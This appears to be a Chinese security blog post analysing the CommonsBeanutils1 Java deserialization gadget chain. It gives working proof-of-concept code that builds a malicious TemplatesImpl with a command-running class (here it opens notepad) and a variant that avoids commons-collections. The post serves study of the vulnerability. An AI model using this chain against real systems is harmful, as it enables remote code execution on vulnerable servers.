1、PropertyUtils.getProperty

commons-beanutils-1.9.2.jar 包下的 PropertyUtils#getProperty方法相对于getXxx方法,取得其值。

来试下该方法功能

public class Person {
private String name; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
}
} ... public class PropertyUtilsTest {
@Test
public void test() throws Exception{
Person p = new Person();
p.setName("liangzi");
String name =(String) PropertyUtils.getProperty(p, "name");
System.out.println(name);
}
}

我们知道通过 TemplatesImplbytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。

TemplatesImpl 类中存在 getOutputProperties方法

可以通过PropertyUtils.getProperty 来构造如下代码

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test; import java.lang.reflect.Field; public class TempletesTest { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
} @Test
public void test() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
PropertyUtils.getProperty(templates,"outputProperties");
}
} ... RunCmd 恶意类 package com.test.serialize; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class RunCmd extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
} catch (Exception e){
e.printStackTrace();
}
} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}

正常执行命令。

2、构造poc

1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject 方法

2、在 BeanComparator 类中存在 compare 方法,该方法中有使用 PropertyUtils.getProperty 方法

我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject 中,看到 heapify() 方法

流程如下

heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])

comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator 对象即可进去到BeanComparator 类的 compare 方法

构造payload

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class TemplatesTest2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
} @Test
public void test() throws Exception{ BeanComparator beanComparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties"); ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close(); System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject(); }
}

3、排除 commons-collections 包构造poc

在maven中加入如下配置,再次运行上面的poc

<exclusions>
<exclusion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
</exclusion>
</exclusions>

java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator

所以这里我们要传入非 collections包中的 ComparableComparator

需要满足下面条件

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口

获取实现了comparator 并可序列化的类

import org.junit.Test;
import org.reflections.Reflections; import java.io.Serializable;
import java.util.Comparator;
import java.util.Set; public class ClassUtil {
@Test
public void test() {
Reflections reflections1 = new Reflections("java.*");
Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
Reflections reflections2 = new Reflections("java.*");
Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class); for (Class clazz : comparatorclasses) {
// System.out.println("Found: " + clazz.getName());
for (Class serialclazz : serializableclasses){
if(serialclazz.getName().equals(clazz.getName())){
System.out.println(clazz.getName());
}
}
}
}
} 得出 java.util.Comparators$NaturalOrderComparator
javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
java.util.Collections$ReverseComparator2
java.util.Comparators$NullComparator
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
javax.swing.LayoutComparator

java.util.Collections.java

package com.test.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue; public class TemplatesTest2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
} @Test
public void test() throws Exception{ BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties"); ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close(); System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject(); }
}

4、参考

CommonsBeanutils1 分析笔记的更多相关文章

  1. 3.View绘制分析笔记之onLayout

    上一篇文章我们了解了View的onMeasure,那么今天我们继续来学习Android View绘制三部曲的第二步,onLayout,布局. ViewRootImpl#performLayout pr ...

  2. 4.View绘制分析笔记之onDraw

    上一篇文章我们了解了View的onLayout,那么今天我们来学习Android View绘制三部曲的最后一步,onDraw,绘制. ViewRootImpl#performDraw private ...

  3. 2.View绘制分析笔记之onMeasure

    今天主要学习记录一下Android View绘制三部曲的第一步,onMeasure,测量. 起源 在Activity中,所有的View都是DecorView的子View,然后DecorView又是被V ...

  4. 1.Android 视图及View绘制分析笔记之setContentView

    自从1983年第一台图形用户界面的个人电脑问世以来,几乎所有的PC操作系统都支持可视化操作,Android也不例外.对于所有Android Developer来说,我们接触最多的控件就是View.通常 ...

  5. zeromq源码分析笔记之线程间收发命令(2)

    在zeromq源码分析笔记之架构说到了zmq的整体架构,可以看到线程间通信包括两类,一类是用于收发命令,告知对象该调用什么方法去做什么事情,命令的结构由command_t结构体确定:另一类是socke ...

  6. glusterfs 4.0.1 api 分析笔记1

    一般来说,我们写个客户端程序大概的样子是这样的: /* glfs_example.c */ // gcc -o glfs_example glfs_example.c -L /usr/lib64/ - ...

  7. SEH分析笔记(X64篇)

    SEH分析笔记(X64篇) v1.0.0 boxcounter 历史: v1.0.0, 2011-11-4:最初版本. [不介意转载,但请注明出处 www.boxcounter.com  附件里有本文 ...

  8. 【转载】Instagram架构分析笔记

    原文地址:http://chengxu.org/p/401.html Instagram 架构分析笔记 全部 技术博客 Instagram团队上个月才迎来第 7 名员工,是的,7个人的团队.作为 iP ...

  9. CentOS下使用Iptraf进行网络流量的分析笔记

    CentOS下使用Iptraf进行网络流量的分析笔记 一.概述 Iptraf是一款linux环境下,监控网络流量的一款绝佳的免费小软件. 本博客其他随笔参考: Centos安装流量监控工具iftop笔 ...

随机推荐

  1. 『go成长之路』 defer 作用、典型用法以及多个defer调用顺序,附加defer避坑点,拿来吧你

    预习内容 defer 的作用有哪些? 多个 defer 的执行顺序是怎样的? defer,return,函数返回值 三者之间的执行顺序 defer的作用 go中的defer是延迟函数,一般是用于释放资 ...

  2. Python语法之用户交互与基本运算符

    一.与用户交互 1.接收用户输入 python3中的input会把用户输入的所有内容都存成str类型 age = input("请输入您的年龄: ") # "内容&quo ...

  3. Blazor 模板化组件开发指南

    翻译自 Waqas Anwar 2021年4月15日的文章 <A Developer's Guide To Blazor Templated Components> [1] 在我之前的一篇 ...

  4. 在VMware中安装Centos6值得注意的几点

    关于在VMware上安装centos6.9时遇到的几个值得说的点 0x01关于分区 分区时候可以选择默认分区,也可以选择自定义布局,这里选择自定义布局 点击sda,选择创建,再选标准分区->创建 ...

  5. SpringBoot中Jackson的过滤使用

    在接口的返回对象中,可能会有一些属性为null或者需要禁止某些字段返回给客户端. 在SpringBoot中可使用内置了Jackson实现这个需求 1. 过滤为null字段 在实体类中使用@JsonIn ...

  6. SQL 练习41

    编写一个 SQL 查询,获取 Employee 表中第二高的薪水(Salary) 例如上述 Employee 表,SQL查询应该返回 200 作为第二高的薪水.如果不存在第二高的薪水,那么查询应返回 ...

  7. Node + Selenium 报错 UnhandledPromiseRejectionWarning: Error: ECONNREFUSED connect ECONNREFUSED 127.0.0.1:5319

    安装selenium-webdriver npm i selenium-webdriver 当前安装版本: "selenium-webdriver": "^4.0.0-a ...

  8. mac Charles抓包

    手机配置http代理 1.配置iPhone或Android 的wifi配置.首先保证Mac电脑和手机是在同一个局域网内. 2.设置手机wifi配置,在HTTP代理中选择手选代理,服务器填写Mac的IP ...

  9. Leaflet 中 删除 一组 标记(Marker)

    动态显示一个标签: L.marker([obj.Y,obj.X]).addTo(map).bindPopup(obj.name).openPopup(); let layers=[]; let myG ...

  10. C#基础知识---Linq操作XML文件

    概述 Linq也就是Language Integrated Query的缩写,即语言集成查询,是微软在.Net 3.5中提出的一项新技术. Linq主要包含4个组件---Linq to Objects ...